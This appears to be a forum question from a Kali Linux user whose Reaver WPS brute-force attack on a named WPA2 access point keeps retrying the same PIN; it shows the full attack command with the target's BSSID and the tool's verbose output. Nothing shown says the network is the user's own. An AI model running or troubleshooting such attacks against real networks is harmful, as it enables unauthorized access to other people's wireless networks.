I am trying to crack WPA2 PSK via REAVER but the signal strength is under -50db.  The Signal strength is full. It tries the same PIN again and again. I have a 2.4 Ghz wireless Adapter. Is this true?Here is the last REAVER command I enteredreaver -i mon0 -b 2C:AB:25:51:F1:CF -d 30 -S -N -vv  [+] Switching mon0 to channel 1    [+] Waiting for beacon from 2C:AB:25:51:F1:CF    [+] failed to Associated with 2C:AB:25:51:F1:CF(ESSID: PTCL-BB)    [+] Trying pin 12345670    [+] Sending EAPOL START request    [+] Received identity request    [+] Sending identity response                     [!] WARNING: Receive timeout occurred            [+] Sending WSC NACK    [!] WPS transaction failed (code: 0x02), re-trying last pin    [+] Trying pin 12345670    [+] Sending EAPOL START request    [+] Received identity request                   [+] Sending identity response    [+] Received identity request           [+] Sending identity response ^C    [+] Nothing done, nothing to save.
Reaver keeps repeating the same pin on Kali linux
linux;wifi;kali linux